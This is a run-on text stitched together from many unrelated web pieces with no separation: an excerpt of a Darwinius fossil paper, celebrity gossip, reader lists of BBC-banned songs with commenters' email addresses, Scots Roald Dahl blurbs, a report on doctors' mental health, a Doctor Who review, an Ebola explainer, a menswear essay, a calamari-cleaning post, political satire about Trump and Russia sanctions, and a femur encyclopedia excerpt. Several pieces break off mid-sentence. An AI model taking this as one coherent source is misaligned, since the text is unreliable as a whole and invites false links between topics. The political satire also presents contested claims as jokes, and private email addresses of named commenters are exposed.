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larger image TIFF original image Download: Figure 7. Length profile for caudal vertebrae of Darwinius masillae, new genus and species, compared to those of other primates. Measurements of Darwinius were taken from plate A (Fig. 1). Darwinius, Europolemur, and Notharctus are Eocene adapoids; Ateles and Callithrix are extant Ceboidea; and Avahi and Eulemur are extant Lemuroidea. Measurements of comparative specimens are from [23], [38], with new measurements added for Avahi. Note that the profile for Darwinius is flatter (rises less high and declines less rapidly) than that for any of the comparative specimens. https://doi.org/10.1371/journal.pone.0005723.g007 The atlas is broken and incomplete. It is attached to the planum nuchale of the cranium. The left wing of the atlas is crushed, whereas the right wing is seen in dorsal view, with a well-developed foramen vertebrale laterale. The lateral surface of the axis is visible in plate A, however the prominent processus spinalis is crushed. C3–C5 are visible in lateral view. Their processus spinales are only partially exposed, whereas their processus transversi are clearly visible. Caudally in the cervical series, the processus transversi become more and more expanded. C6 is crushed, whereas the right scapula covers C7. By including the first and second thoracic vertebrae, which are hidden below the right scapula, 11 thoracic vertebrae are present although their exact number is difficult to determine and therefore somewhat ambiguous. Whereas T3–T5 are laterally exposed, T6–T8 have rotated around their long axis so that they are seen in dorsal aspect, while T9–T11 are visible laterally. There is no diaphragmatic vertebra, because even the processus spinalis of T11 is slightly but clearly dipping caudally. The ribs are not well preserved. Most of their cartilaginous parts exist only as natural casts. The right humerus mostly covers the sternum. Caudal to the thoracics are 7 lumbar vertebrae. They are comparatively massive and display cranially oriented transverse processes, which become more and more expanded caudally. No spinal processes are evident on L1–L3, but L4 carries a rather small process slightly dipping caudally. The spinal process of the lumbar vertebrae becomes somewhat larger caudally and dips more in this direction. The os sacrum comprises 3 vertebrae, S1–S3, the most proximal one of which is damaged. Altogether, there are 31 caudal vertebrae but the last one ends fragmented at a fault. So there may have been one or two more. The 3 most proximal are comparatively short and display strong transverse processes that become weaker more distally in the series. The last transverse process is developed on Ca4, which is already considerably longer and shows only a small processus transversus at its caudal end. All following vertebrae have no processus transversi. In D. masillae the dorsal vertebral column shown on plate A is gently curved (that of plate B is fake) and the tail is only slightly curved. The length profile of the proximal half of caudal vertebrae is close to that of living Callithrix jacchus, while more distally D. masillae has much longer vertebrae. Altogether, the tail is much longer than that referred to Europolemur koenigswaldi (Fig. 7). In D. masillae, the length profile of Ca8–Ca20 differs from that of the living Avahi laniger, even more so from Eulemur mongoz, and considerably from Ateles geoffroyi. Clearly, Darwinius did not have a prehensile tail. The tail was presumably used primarily for balance, and possibly for steering while leaping. Its soft body contours are incomplete. Therefore, it is impossible to decide whether it was bushy or not.Katharine McPhee and David Foster have sparked romance rumors after being spotted on a romantic dinner date.
On Friday, the duo dined together at Nobu in Malibu. The Scorpion actress, 33, and Grammy-winning music producer, 67, arrived at the restaurant around 8:30 p.m. and were quite affectionate in their private corner table, according to E! News.
“David and Katharine were very intimate during their dinner,” an eyewitness claims. “David was seen grabbing Katharine’s face and kissing her cheek several times. Katharine was doing the same to David’s face and they were acting as if they were a couple.”
According |
22. Sky - Clark, Petula23. Love Is Strange - Mickey & Sylvia24. Honeycomb - Rodgers, Jimmie (2)25. Rose And A Candy Bar - Hamilton, George IVAs the BBC won't admit to even having a banned list, here are some of the candidates that I have received. Some of these suggestions may have been banned at some time."I Love a Man in a Uniform" by The Gang of Four came close to being banned -- if not banned for a time -- because of its overt criticism of the Falklands War.Did not Frank Zappa get banned because of his single - Bobby Brown?! bjorn@bjornstockholm.comI believe that Carter USM's "Bloodsport For All" was also banned by Radio One at the time of the Gulf War - Mike Hartland mike@rebola.prestel.co.ukI agree with Mike Hartland. I distinctly remember Bloodsport for All by Carter USM being banned during the Gulf War. I think several record shops also refused to stock it.Dan Carney dan@kalonbiological.demon.co.ukThe Beatles song I Am The Walrus was banned from BBC radio because it contained the word 'knickers' Steve Farrell S.J.Farrell2@student.derby.ac.ukBanned in Australia & possiblly elswhere - The Royal Guardsmen "Snoopy vs the Red Baron" (1967) was played on radio with the word "bloody" beeped out: "The (beep) Red Baron of Germany". It sounded ridiculous, but it was a No. 1 hit here.The Beatles' "Ballad of John & Yoko" (1969) was played on radio with the word "Christ" edited out of the chorus; another No. 1 hit.The Troggs' "I Can't Control Myself" (1966) was banned for radio airplay. The single was, for example, a Top 20 hit in Sydney. Lindsay Martin lindsay@isleuthmail.comAs I understand it, Tina Turner's song "Private Dancer" had to be edited before the BBC would play it--not because of references to prostitution, but rather because it contained a reference to American Express, which went against the Beeb's ban on advertising. I believe the offending phrase was changed to "pounds sterling." (I may be wrong, of course; I wasn't in the UK at the time, and I only heard about it in the US press.) Terence Foraker t.l.foraker@worldnet.att.netI'm not sure, but wasn't "Eight miles high" by the Byrds also banned, dueto drug reference? Tobias Andrasson toobban@hotmail.comDuring the gulf war I remember Simon Bates at the birthday spot for Edwin Starr playing a song other than War, because he it was 'inappropriate'. He sounded apologetic about this so it may not have been his idea to play something else.Gordon Taylor gtaylor@netmatters.co.ukThe Beatles - "Come together" was banned by the BBC for the words coca cola. David Campbell campbeld@imrglobal.co.jp"3 am Eternal" by the KLF had a section at the start of the record taken out by Radio 1 during the Gulf War. It was the sound of a machine gun being fired. Richard Doy r_doy@yahoo.comI didn't see the song/album listed by the artist Ice T. I know that it was banned for the song "Cop Killer". adecker adecker@memphis.eduRadio One wouldn't play Deeper or Promise by Delirious, because they are a'religious band'. The obviously didn't catch on that so were Sixpence None The Richer.Also, Cliff was temporarily banned with his 'Millennium Prayer' single, again because it was Christian. Ewan Jones ewan@cpas.org.ukSorry to disagree, but the Cliff record was not banned, but simply not played because it was a dreadful record! JW.Sorry to stick my nose in but didn't some of the songs like Terry by Twinkle, Leader of the Pack by the Shangri-Las and Pipeline by The Ventures also get banned at one time???Obviously Terry and LOTP was due to the dumped lad riding off and "deliberately" crashing their motorbikes but I heard that Pipeline was banned because it was a slang term for a condom in the States, but I don't know that one for sure.Also what about Gary Gilmores Eyes by The Adverts, brill track.Another song brought to mind by your brilliant (& nostalgic) page is "Moratorium" by Buffy Sainte Marie, on the flip side of the Soldier Blue single. It was a juke box hit here in Gt Yarmouth because it contained the words "fuck the War and bring all our brothers back home again", naturally in 1972(ish) all us teenagers would quite happily sing along to this at the top of our voices.martin.swann@judyteen.fsnet.co.ukOn the banned list I didn't see Birmingham 6/Streets of Sorrow by The Pogues I think it was banned due to anti-terrorism legislation for suggesting that some people in British jails were innocent and questioning whether Irish people where at a disadvantage when brought before the courts.For perhaps inclusion in the 'Banned' section, the Anti-Nowhere League had their first single 'Streets of London/So What' banned for obscenity as it fell foul of the obscene publications law. Check out the ANL website - http://www.antinowhereleague.com/history.htmLeon Rosselson and his Ballad Of A Spycatcher which featured Billy Bragg and members of the Oyster Band singing lyrics containing hints from Peter Wrights banned Spycatcher book. Rosselson said of the song:Written to challenge the ruling of the three Law Lords that Peter Wright's book Spycatcher - a biography on his work as...a spycatcher for the British government - could not be published in this country, nor could the press quote from or refer to any of the material in the book. It took me two days to devour the book and regurgitate it (including even the odd lump in intact quotation) in these memorable verses. So the song was definitely illegal, and the least we could hope for was a blanket banning from the airwaves. Alas, after some initial hesitation, a single of the song started to receive radio play and even rose to number 7 in the NME indie singles charts. So much for subversive intentions...I remember hearing it on a Simon Bates mid morning show on Radio 1 in 1987, with a big run up to the actual playing along the lines of him expecting a court order (or the police) demanding that he not play the song; he did, they didn't. But it was generally frowned upon, just the same.David Garvey Flood410@aol.comDeep In The Heart of Texas, was banned during World War II because there was a clappy bit in it and, when played over a factory's loudspeaker, the workers would stop momentarily to join in. - Chris DavisonThe Australian band The Easybeats, who had had a smash U.K. hit with Friday On My Mind, had their epic song Heaven & Hell (produced by Glyn Johns) banned by the Beeb. Not because of the word Hell (which can’t have sat easily one imagines) but because of the lyric line “discovering someone else in your bed”. The band went back in the studio and cut a version with that line replaced by “discovering that her love had gone bad”. But the momentum had been lost and the Easybeats didn’t get a British hit with the song (they would return to the U.K. top twenty with Hello How Are You in 1968). However, the untouched version was a major hit in Australia.Glenn A. Bakerformer Australian Editor of BillboardRoald Dahl in Scots
REEKIN RHYMES
Revolting Rhymes in Scots
Roald Dahl
Illustrated by Quentin Blake
Translated by Matthew Fitt
CINDERELLAE
Nae doot ye think ye ken this story.
Ye dinnae. The real yin’s faur mair gory.
The phoney wan, the wan you ken,
Wis cooked up auld lang syne and then
Made tae soond aw saft and sappy
Jist tae keep the bairnies happy.
Mind ye, they got the first bit richt,
The bit whaur in the deid o nicht,
The Hackit Sisters, jewels and aw,
Mairched pronto tae the Palace Baw,
While yon wee darlin Cinderellae
Wis doon the cellar weet and smelly
Whaur rats hauf-mad for things tae eat
Began tae chaw on baith her feet...
An enjoyable unputdownable scandalous retelling of traditional tales like Cinderella and Snow White made funnier and more gruesome in Matthew Fitt's hilariously honkin couplets in Scots. Roald Dahl took great delight in shocking and surprising his young readers and remains as popular as ever. This first ever translation of Revolting Rhymes into Scots is an exciting addition to the growing number of high quality books available to children and young people to read in the wonderfully rich and expressive Scots tongue.
RRP £6.99
CHAIRLIE AND THE CHOCOLATE WORKS
Charlie and the Chocolate Factory in Scots
Roald Dahl
Illustrated by Quentin Blake
Translated by Matthew Fitt
‘Weelcome, ma Wee freends!
Weelcome TAE the CHOCOLATE WORKS!’
When Mr Wullie Wonka invites five bairns ben intae his warld-famous chocolate factory, some o them turn oot tae be spoilt wee bampots.
For Chairlie Baffie, the tour o Wonka’s chocolate works is the adventure o a lifetime. Has Violet Boakregarde bitten aff mair than she can chaw? Will Mike Teeveeheid finally end up on TV? Will Chairlie go UP AND OOT in Wullie Wonka’s Muckle Gless Lift?
Find oot in Matthew Fitt’s gallus new Scots translation o Roald Dahl’s classic story Charlie and the Chocolate Factory.
New Editions of Roald Dahl's translations
THE EEJITS
The Twi ts in Scots
Roald Dahl
Illustrated by Quentin Blake
Translated by Matthew Fitt GEORDIE'S MINGIN MEDICINE
George's Marvellous Medicine in Scots
R oald Dahl
Illustrated by Quentin Blake
Translated by Matthew Fitt THE SLEEKIT MR TOD
Fantastic Mr Fox in Scots
Roald Dahl
Illustrated by Quentin Blake
Translated by
James RobertsonDoctors are far more depressed and stressed than other Australians, with a disproportionate number having suicidal thoughts, according to a major study.
Students and doctors aged under 30, particularly women, are at most risk of suicidal thoughts and mental illness, according to the survey commissioned by mental health charity beyondblue.
Oncologists are the most psychologically distressed specialists, while doctors who do not deal directly with patients think about suicide most often.
One in five medical students and one in ten doctors have had suicidal thoughts in the previous 12 months, compared with one in 45 people in the wider community, according to the report.
Based on responses to the survey, more than a quarter of doctors are likely to have a minor psychiatric disorder like mild depression or mild anxiety, which is much more than the broader community.
Although many doctors are embarrassed to admit they have a problem, they are more likely to seek help than the general population.
This is a good sign, says Dr Mukesh Haikerwal, former Australian Medical Association president and chair of the beyondblue doctors mental health program.
"It is a step towards removing the stigma from mental illness.
"Doctors are role models. They lead by example and will encourage other members of the population to seek help early.
"There is great resilience within the medical profession but doctors do fall into depression and anxiety and must get early treatment and intervention," he says.
The Roy Morgan survey, which was completed by more than 14,000 doctors and medical students, shows men work longer hours and engage in more risky drinking, but women doctors are more distressed and think about suicide more often.
Perceived stigma is rife, with four in 10 agreeing that many doctors think less of doctors who have experienced depression or anxiety.
Just under five per cent list bullying and 1.7% list racism as a cause of stress.
Kate Carnell, the CEO of beyondblue, says the survey identifies the challenges the medical community faces and outlines how they can be tackled.
"This includes initiatives such as a mental health strategy for the Australian medical community, guidelines around working hours and better mental health education in universities to reduce stigma.
"If doctors do not deal with the mental health issues they are experiencing it can affect their ability to deliver the best care," she says.Season eight of Doctor Who had a pretty strong character arc for Clara, the ageless Doctor’s traveling companion. She started out distressed by the Doctor’s callousness, but then she learned to be more like him. And now it seems maybe she learned too well.
Spoilers ahead...
Tonight’s episode, “Under the Lake,” is the first half of a two-part adventure. (I guess this season is all two-part adventures, after a couple seasons dominated by one-offs.) And it’s filled with a sense of foreboding—not just because of the scary ghosts, mysterious spaceship, and claustrophobic base at the bottom of a lake in Scotland, but because of the way the Doctor is acting. The Doctor keeps goading the people inside that base to put themselves in more and more danger, to satisfy his curiosity or provide him with helpers as he deals with the ghost infestation. You become increasingly convinced that someone is going to suffer a terrible death that could have been avoided. And in the end, it’s the last person you expect.
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The thing is, Clara does almost nothing to try and temper the Doctor’s zeal for danger and his tendency to put innocents in harms’ way for the greater good. Apart from one notable scene where she gives the Doctor one of a set of cue cards aimed at making him communicate more sensitively—after he’s just disrespected the base’s recently-dead captain—she seems perfectly happy to watch the Doctor treat the lives of these humans in a cavalier fashion.
First the Doctor seems so thrilled at the prospect that there are actual ghosts on this underwater base, and he’s finally found something totally new and mystifying (which is when Clara makes him read off the aforementioned card, apologizing for his insensitivity to the recently dead.) Then, when the people in the base have achieved a temporary safety by putting the base back into “day mode”—which puts the ghosts out of action for some reason—he goads them into putting it back into “night mode” so the ghosts can come back out and he can trap them. Finally, he puts pressure on the people inside the base to stay and learn the truth about the ghosts, by appealing to their responsibilities as soldiers and scientists. (Even using a bit of reverse psychology, when he says that he’d be happy for them to go, because they’ll only get in the way.)
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The Doctor is so keen on discovering the truth about this fascinating phenomenon (and also possibly stopping a potentially huge threat) that he’s willing to put everyone in danger. It’s a bit of a throwback to the second Doctor Who episode ever, when he sabotaged the TARDIS, to force his companions to explore the Dalek city.
And the thing is, Clara does nothing about this. She’s even more gung-ho than the Doctor is, to get swept up in the adventure.
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This bothers the Doctor so much he tries to leave Clara inside the TARDIS at the first sign that things are getting out of hand. He tells her that there’s only room for “one me” inside the TARDIS, and she shouldn’t “go native.” The Doctor makes a serious effort to shut down Clara’s Doctor-ish tendencies, but then gets sidetracked into trying to convince her to find a new love interest, and the whole conversation goes sideways.
It’s been a huge trope on Doctor Who, in recent years, that the Doctor’s human traveling companions keep him anchored and connect him to humanity. (This point was made as recently as last year’s “The Caretaker”) The companions are the Doctor’s conscience as well as a check on his mania. We even got to see what tends to happen to the Doctor if he travels alone too long, in “The Waters of Mars.” So now the Doctor has a companion, but she’s too busy being another Doctor to fulfill her usual role in the grand scheme of things, and that spells trouble.
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The ghosts, meanwhile, are a genuinely spooky mystery. They appear right after the crew of the underwater base finds an alien spaceship, which has mysterious markings on its wall. The ghost of an alien appears and causes the death of their captain, who also becomes a ghost. (And the corporate stooge among them, a guy named Pritchard, keeps trying to claim ownership of everything, until his greed and stupidity finally get him killed.)
The ghosts keep repeating the same four words: “The Dark. The Sword. The Foresaken. The Temple.” And the Doctor deduces this is a set of coordinates, for someone to find this place on Earth. (Someone who recognizes the same constellations as humans, including Orion’s Sword.)
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It turns out the markings on the spaceship wall rewrite the connections in your brain, like the worst earworm ever. And once you see them, you’re killed by the other “ghosts” and start repeating the words, setting off a beacon to bring the aliens to Earth.
After how keen Clara is on having a grand epic adventure, no matter what the cost, there seems to be some pretty heavy foreshadowing that she’s going to wind up apparently dead or dying—but instead, it’s the Doctor. After the ghosts flood the base using a nuclear reactor protocol, the Doctor gets separated from Clara. So the Doctor decides to go back in time to before this town got flooded and became a lake, to discover just why the alien spaceship was here in the first place.
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And as soon as the Doctor goes back in time (along with two of the crewmembers, O’Donnell and Bennett), a new ghost appears: The Doctor’s. Apparently, something terrible happened in the past and the Doctor was killed.
Contact the author at charliejane@io9.com.Skeletons Found at Lost Chapel Have Been Holding Hands for 700 Years
The Chapel of St Morrell in Leicestershire has often been called the "Lost Chapel," as the 14th century pilgrimage site has been a site of excavation for archaeologists for the last four years. Today, archaeologists from the University of Leicester have uncovered a lost couple in their excavation: two skeletons whose hands have been interlocked for the last 700 years.
Project manager Vicki Score said: "'We have seen similar skeletons before from Leicester where a couple has been buried together in a single grave. The main question we find ourselves asking is why were they buried up there? There is a perfectly good church in Hallaton. This leads us to wonder if the chapel could have served as some sort of special place of burial at the time."
The skeletons are two of eleven skeletons uncovered at the site. The researchers believe that the couple may have been refused burial in the main church because they were sick, criminals, or foreigners. The skeletons and other artifacts excavated from the site have been carbon dated to the 14th century. The researchers also found Roman archaeology that indicates the hillside may have been a place of significance for the Romans over 2,000 years ago.Fun with voting, being monarch, and otherwise imposing life stealing sanctions on the game. Yet to be played. And now, a campaign speech from Mr. Kambal, Consul of Allocation:
People of the, don't we believe that magic is best when our creatures are able to grow and thrive?
People of the, are we not most prosperous when natural order is maintained by our citizens?
People of the, are we not at our most majestic when soaring through the air or swimming through our oceans?
People of the, don't we believe that life is only possible through the sacrifice of others?
People of the, does not our speed and agility propel us towards victory?
For too long have we been the targets of chaos from instants and sorceries. For too long have we become slaves to enchantments and artifacts. It's time to restore power to the great creatures of our worlds!
Vote for me--vote Kambal--and together we will make the multiverse great again!
In order to maintain my aura as a man of the people rather than a corrupt tyrant, I've come up with some handy explanations for what to call certain cards as you play them. You see, approval ratings are crucial in both politics and magic. We need to spin this deck's noncreature spells as fair and necessary measures to help everyone.by
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Ebola disease, an infectious and generally fatal viral disease has caught the attention of the whole world.
The current outbreak in the West African countries has been described as the worst in the history of the disease. The Ebola disease is characterized by fever and severe internal bleeding.
Ebola disease is transmitted through contact with infected blood and body fluids (urine, feces, saliva, vomit, and semen) of a person who is sick with Ebola virus disease.
Incubation period from time of infection to symptoms is 2 to 21 days. Transmission through air or water is not known. The normal host species for the Ebola virus is unknown.
The History of Ebola Disease
The first outbreak of Ebola was reported in 1976 in Zaire (currently Democratic Republic of Congo), near the Ebola River, where it killed 280 people. Around the same time, another outbreak was reported in Sudan in which 151 people died. Since then other major or minor sporadic outbreaks have been reported in Democratic Republic of Congo and other countries such as Uganda and Gabon.
Current Ebola Disease Outbreak
The current Ebola disease outbreak began in Guinea in December 2013. Scientists working on the disease speculate that the current outbreak began with one boy in Guinea who became infected by some animal. Before he died, he spread the Ebola virus to others.
The disease has spread to Liberia, Nigeria, Senegal and Sierra Leone. Described by experts as the worst outbreak since the first epidemic struck humans nearly 40 years ago, the current outbreak has killed far more people than in other years. As of September 16, more than 5000 people had been infected, of which over 2,500 had lost their lives.
Social Economic Impact of Ebola Disease
The current Ebola disease outbreak in West Africa has had significant negative social economic consequences not only to the affected countries but other countries as well.
For example, in an effort to contain the disease, many regional and international airlines have cancelled flights to and from the affected countries of Guinea, Sierra Leone and Liberia. Prices of staple goods are said to be going up, and food supplies are running low thus worsening the situation.
If you have any questions about this article, or would like additional information about our mold and bacteria testing service, please contact Mold & Bacteria Consulting Labs by email or telephone.
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Latest Posts Dr Jackson Kung'u Dr. Jackson Kung’u is a Microbiologist who has specialized in the field of mycology (the study of moulds and yeasts). He is a member of the Mycological Society of America. He graduated from the University of Kent at Canterbury, UK, with a Masters degree in Fungal Technology and a PhD in Microbiology. He has published several research papers in international scientific journals. Jackson has analyzed thousands of mould samples from across Canada. He also regularly teaches a course on how to recognize mould, perform effective sampling and interpret laboratory results. Jackson provides how-to advice on mould and bacteria issues. Get more information about indoor mould and bacteria at www.drjacksonkungu.com. Latest posts by Dr Jackson Kung'u see all) NIOSH Mold and dampness assessment tool - January 5, 2019
Mold Growth on Imported Products - September 28, 2016
Water Activity Requirements For Mold Growth - April 29, 2016I was 23 years old and attending a wedding where I was a groomsman – it was at this event that I learned firsthand how The Basic School had prepared me for more than just leading Marines. In a room with five other young men, I was the only one who knew how to properly wear black tie shirt studs, cuff-links, and the cummerbund. Needless to say, I gave a quick class and we all looked great that evening. Had we been in this situation just one year earlier, I too would have been at a loss as to what all the metal trinkets were for. So what happened to my sense of style in Quantico? Obviously the lessons I learned from various hard charging gunnery sergeants and detail-oriented officers had indirectly sharpened my understanding of civilian style and appearance.
The deadliest Roman gladiators are said to have paid special attention to the ornamentation on their armor and weapons. Ukrainian Cossacks, before riding into battle, spent hours ensuring their hair was properly cut and braided. Today, modern military warriors spend hours every week ensuring their wardrobes and personal appearance meet both regulation and their own standards of professionalism. What is the connection?
This article covers seven lessons pertaining to style and appearance that I picked up while serving in the USMC – let this serve as advance warning that my views are biased due to my branch of service!
Lesson #1 – Your Personal Presentation Is Important
From day one, the power of what you wear is obvious in the military because in many ways it symbolizes who you are. The way military personnel greet and interact with each other is based off a rigid rank system. Two men who have never met pass by on a sidewalk – both pay attention to the other and greet with a customary salute. The rules as to who initiates the salute and how it is performed are dictated by a set of century old guidelines that ensure order under all types of conditions.
Despite us living in a democracy where all are created equal, a less visible system of rank does exist in the civilian world. This ranking system is not based on a written set of rules, but rather an unwritten code of events that has over our lives shaped our behavior. Instead of quick decisions being based off an insignia, snap judgments are made based off the type of clothing you wear. By simply dressing sharp in a nice pair of slacks and a sport jacket, a man goes from being ignored as he enters a busy restaurant to being helped immediately and addressed as sir.
I’ve written about the importance of presentation multiple times, so I won’t dwell on this point – for additional reading visit this classic AOM article: The Importance of Being a Sharp Dressed Man.
Lesson #2 – Do Not Judge Others Based on Their Appearance
When you work with other military men and women, you have little to judge them on besides their performance and communication skills. You can easily spend a year working with another person and know nothing of how they dress, what type of car they drive, and what they do with their free time. In many ways it’s a solid system – one that allows you to focus on the job and ignore factors that would under normal circumstances skew your perception.
So you can imagine my surprise when I ran into my one of my top performing Marines out on the town and found him to be dressed in a manner I associated with a man who would be a gang member. My preconceived notions were challenged on the spot – here was a young man in the top 1% of his pay grade who had I met through normal civilian channels I would have discounted as a “gangster.” How many other people had I stereotyped because of my inability to look past appearances? The lesson here is although personal presentation is important, we have to resist the temptation to judge others based solely off of what we see.
Lesson #3 – Details Define a Man’s Style
Most people assume the strict uniform rules of the military stamp out any inklings of personal style. This is not the case. Rather, the strict confines of military regulation magnify the small details that can be personalized. Sunglasses, mustaches, haircuts, tattoos, and the degree to which your uniform is pressed and your boots are shined are all scrutinized. To an outsider, a platoon of soldiers may look the same. To a 1st Sgt, he’ll look at the details of the gear and presentation and be able to quickly pick out the hard-core and good to go from the average – he’ll also take special note on the one or two who need “special” attention.
The same is true in civilian style, especially in corporate environments where many men feel a company dress code eliminates individuality. This is just not true – I have yet to see a dress code that specifies fit and style requirements for suits or dress shirts. As such there is a lot of room to make even a mundane navy suit and white dress shirt stand out. I have a client who works for AT&T corporate and despite wearing very common colors and patterns manages to be one of the best dressed in his department because he pays special attention to his clothing’s cut and the accessories he accents them with. It is all in the details.
Lesson #4 – A Respect for Protocol
About once a month I receive an email from someone asking about a black tie dress code situation and whether they can be the exception to the rule and just show up wearing something like a blazer with trousers. My answer is always the same – if the invitation calls for Black Tie, there is no room to negotiate. You must have a respect for the dress code, as to ignore it is to show disrespect for the host who has worked hard to put the event together.
The military teaches a man early on the importance of dressing appropriately. We have rules that prescribe what we should wear when checking into a new duty station, when traveling off base, when attending a ceremony, and serving as a pallbearer and escort. Why all this attention to detail? Because it sets the tone for the event, eliminates areas of confusion, and leverages history and experience to ensure success. A healthy respect for tradition and dress code does not take away from the individual nor seek to exclude; rather, it is there to enrich important moments in our lives.
Lesson #5 – Always Have Your Equipment Ready
Making sure the men and women under your command are fully prepared and ready for deployment is the focus of peacetime military leaders. As such, scheduled and unscheduled inspections ensure units of 10 to 10,000 are ready to go within hours of being called up. For those who haven’t been through one, inspections range from a simple uniform check by a squad leader to an entire Battalion being looked over by the First Sergeant and CO over a period of hours to ensure combat readiness.
Although I haven’t gone through a white glove inspection for over a decade, I still ensure my wardrobe is prepared for any opportunity or challenge that may come my way. Shoes are put away polished, shirts are ironed before they are needed, and all my accessories are placed in a location where they are easily found. Proper preparation takes time and discipline – the payoff is when you need to be dressed quickly, you are. Compare this with being stressed out and showing up late to an interview, or worse, letting down the ones you care about. Take a few moments to prepare today, and you’ll save time by not having to apologize tomorrow.
Lesson #6 – Our Appearance and Behavior Reflects on Our Associations
Pulling into a foreign port, the big worry on the mind of unit leaders is that some yahoo under their command is going to cause an international incident. If one Marine or Sailor screws up, the whole ship, the whole US military, receives a black eye. For this very reason it is stressed time and time again to every military man leaving post or ship – although you’re not wearing a uniform, you still represent the military in the eyes of others.
As men our appearance and behavior reflect not only on us, but on our entire family and the organizations we are closely associated with. Are you a student council member? Then know the actions you take (or fail to take) in the classroom and off campus reflect upon not only you but the whole council. Like to head to the local watering hole after work to unwind? Be careful about having too much to drink. You might not be embarrassed about getting trashed and carried out the back door, but your family is. Please note I’m not against a good time – rather I want to drive home the reality that very few of us live in a vacuum where our actions do not affect the groups we are a part of.
Lesson #7 – Appreciate Your History
Ask any U.S. Marine what the Eagle, Globe and Anchor stands for and be prepared for a history lesson painted with pride and personal meaning. From the cross on the top of an officer’s cover (the quatrefoil) to the blood stripe on a corporal’s trouser, the history embedded in military uniforms are vestiges of the past that units carefully chronicle and ensure new recruits study. Why such a focus on tradition?
Having a strong history gives a man the strength to move forward when he is unsure. He knows he can wear a flower in his lapel not because he saw it in the latest issue of Maxim, but because he knows French soldiers wore them in theirs as they headed off to combat. He doesn’t try to fit into the latest pair of designer jeans to look younger or hip; instead, he realizes the clothing he wears should be timeless and compliment, not detract from, his personal style.
An appreciation of the past gives you the fortitude to resist fashion and embrace timeless, classic style.
See you in the comments.
Written by
Antonio Centeno
President, A Tailored Suit
Articles on Men’s Suits – Dress Shirts – Sport Jackets
Join our Facebook Page & Win Custom ClothingCleaning Calamari...Arrrggghhh! Most of the time I try to buy Calamari that is pre-cleaned. Sometimes though, I can only find it frozen in a 3lb box and because I'm the kind of person that has made her mind up that she's cooking Calamari that day...I'm forced to clean it! Arrrgghhh! Okay...quit with the drama - It's really not that bad. Just messy and tedious!
Here's what a 3lb box of frozen Calamari looks like. These are very small ones and I prefer a littler larger...but after travelling to 3 stores today on the search for Calamari...beggers can't be choosers! (Click on photo's for expanded view)
A thawed whole Calamari: After you thaw the Calamari...Grab the head with the tentacles and hold onto the body. Give it a quick pull and it should separate, pulling most of the innards with it. Scoop out as much of the innards as you can.
Peel the skin off of the Calamari as well as the fins. It's a light membrane that's full of ink.
Feel for the "Quill" or the "Backbone" - it's a clear plastic looking strip that runs up one side of the squid.
Voila!!!!
Now - It's time to deal with the Tentacles (If you're using them) Trim off any attached innards and lay the head flat.
Cut just below the eyes. After you cut, you'll notice that there is a little hard ball (something like a soft pearl). Just pop it out.
Here's the 3 lbs of Squid completely cleaned and ready to go!
I sincerely hope you enjoyed this presentation and still continue to like Calamari! hehe Braised Stuffed Calamari Recipe from Anne BurrellPinterest Getty Images
He signed a new sanctions bill into law, but he’s not happy about it.
Today President Trump signed into law a bipartisan bill that imposes harsh sanctions on the regimes in Iran, North Korea, and Russia. Russia, you may recall, is the gigantic fading petrostate that has cleverly endeavored to level the international playing field by, among other things, hacking the bejesus out of the 2016 presidential election and helping to install a bumbling foreign-policy neophyte who fits neatly into Vladimir Putin's breast pocket as president of the United States.
In a detail that I'm quite sure is unrelated, Donald Trump is very upset that Congress is doing something to be mean to Russia. From a press release the White House published in conjunction with today's action:
[T]he bill remains seriously flawed—particularly because it encroaches on the executive branch’s authority to negotiate. Congress could not even negotiate a healthcare bill after seven years of talking.
[Mitch McConnell and Paul Ryan angrily open their mouths in unison to say something before glancing at each other, deeply sighing, and crawling back into the bunk bed they share]
By limiting the Executive’s flexibility, this bill makes it harder for the United States to strike good deals for the American people, and will drive China, Russia, and North Korea much closer together. The Framers of our Constitution put foreign affairs in the hands of the President.
Well...kind of, yeah! But enacting sanctions against a hostile foreign entity is not exactly a revolutionary exercise of congressional power, even if Donald Trump just learned about it while reading Simple English Wikipedia last night. What is unique about this bill is that it provides that if the president wants to ease any of these sanctions on Russia during the course of any diplomatic negotiations in which he may be involved, Congress reserves the right to review and approve any such waiver first. Notably, this safeguard does not apply to the measures taken against Iran and North Korea, probably because lawmakers are less concerned that President Trump might be, um, compromised on those fronts.
Yet despite its problems, I am signing this bill for the sake of national unity.
Translation: "I hate this so, so much, but Mr. Kelly told me I absolutely have to sign it, and he can be really scary when he tells me what to do, and he even took away my giant novelty VETO stamp and hid it somewhere on the White House grounds after I fell asleep watching TV last night, so I'm settling for this tepid expression of my reservations accompanied by a vague, perfunctory reference to patriotism."
It represents the will of the American people to see Russia take steps to improve relations with the United States. We hope there will be cooperation between our two countries on major global issues so that these sanctions will no longer be necessary.
So that these sanctions will no longer be necessary. I can't wait for Donald Trump to run breathlessly onto the House floor a few weeks from now and excitedly recount to a baffled Paul Ryan that he was just FaceTiming with Vladimir Putin, |
muscles. These compartments use the femur as an axis, and are separated by tough connective tissue membranes (or septa). Each of these compartments has its own blood and nerve supply, and contains a different group of muscles. These compartments are named the anterior, medial and posterior fascial compartments.
Muscle attachments [ edit ]
(seen from the front) Muscle attachments(seen from the front)
(seen from the back) Muscle attachments(seen from the back)
Clinical significance [ edit ]
Fractures [ edit ]
A femoral fracture that involves the femoral head, femoral neck or the shaft of the femur immediately below the lesser trochanter may be classified as a hip fracture, especially when associated with osteoporosis. Femur fractures can be managed in a pre-hospital setting with the use of a traction splint.
Other animals [ edit ]
In primitive tetrapods, the main points of muscle attachment along the femur are the internal trochanter and third trochanter, and a ridge along the ventral surface of the femoral shaft referred to as the adductor crest. The neck of the femur is generally minimal or absent in the most primitive forms, reflecting a simple attachment to the acetabulum. The greater trochanter was present in the extinct archosaurs, as well as in modern birds and mammals, being associated with the loss of the primitive sprawling gait. The lesser trochanter is a unique development of mammals, which lack both the internal and fourth trochanters. The adductor crest is also often absent in mammals or alternatively reduced to a series of creases along the surface of the bone.[10]
Some species of whales,[11] snakes, and other non-walking vertebrates have vestigial femurs.
One of the earliest known vertebrates to have a femur is the eusthenopteron, a prehistoric lobe-finned fish from the Late Devonian period.
Structures analogous to the third trochanter are present in mammals, including some primates.[7]
Invertebrates [ edit ]
In invertebrate zoology the name femur appears in arthropodology. The usage is not homologous with that of vertebrate anatomy; the term "femur" simply has been adopted by analogy and refers, where applicable, to the most proximal of (usually) the two longest jointed segments of the legs of the arthropoda. The two basal segments preceding the femur are the coxa and trochanter. This convention is not followed in carcinology but it applies in arachnology and entomology. In myriapodology another segment, the prefemur, connects the trochanter and femur.
Additional images [ edit ]
